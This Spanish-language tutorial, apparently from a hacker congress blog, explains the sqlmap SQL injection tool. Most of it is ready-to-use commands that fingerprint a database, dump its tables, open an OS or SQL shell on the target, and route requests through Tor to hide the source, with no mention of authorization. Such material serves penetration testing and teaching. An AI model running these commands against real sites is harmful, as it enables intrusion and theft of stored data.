sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar  su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.

sqlmap

Características

  • Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede identificar Microsoft Access, DB2, Informix, Sybase y Interbase.
  • Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de comparación y características específicas tales como MySQL comment injection. También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben.
  • Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection.

Aqui podemos ver la herramienta en ejecución enumerando la versión utilizada del MySQL:

# ./sqlmap.py -u "http://XXXXXXXXXXX/detail.php?code=XXXXX" -b
sqlmap coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>

[*] starting at: 21:58:00

[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
banner: '5.0.51b-community'
[*] shutting down at: 21:58:07

Listar bases de datos
sqlmap --dbms=mysql -u "DIRECCIONURL" --dbs

Listar tablas
sqlmap --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --tables

Dumpear la información de tabla
sqlmap --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" -T "TABLAS" --dump

Definir el parametro a explotar
sqlmap --dbms=mysql -u "http://XXXXXXXXXXX/detail.php?code=value1¶m2=value2" --dbs -p param2

Si la url tiene URI´s bonitas
sqlmap --dbms=mysql -u "http://XXXXXXXXXXX/detail/code/value1*/param2/value2" --dbs

Conseguir shell del sistema (si es viable)
sqlmap --dbms=mysql -u "DIRECCIONURL" --os-shell

Conseguir shell de SQL
sqlmap --dbms=mysql -u "DIRECCIONURL" --sql-shell

Ejecutar consultas directametne
sqlmap --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --sql-query "SELECT * FROM TABLAS;"

Utilizar tor para las peticiones
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "DIRECCIONURL" --dbs

Mas Informacion:
Pagina Oficial del SQLMap
Manual del SQLMap

Congreso Hacker Colombia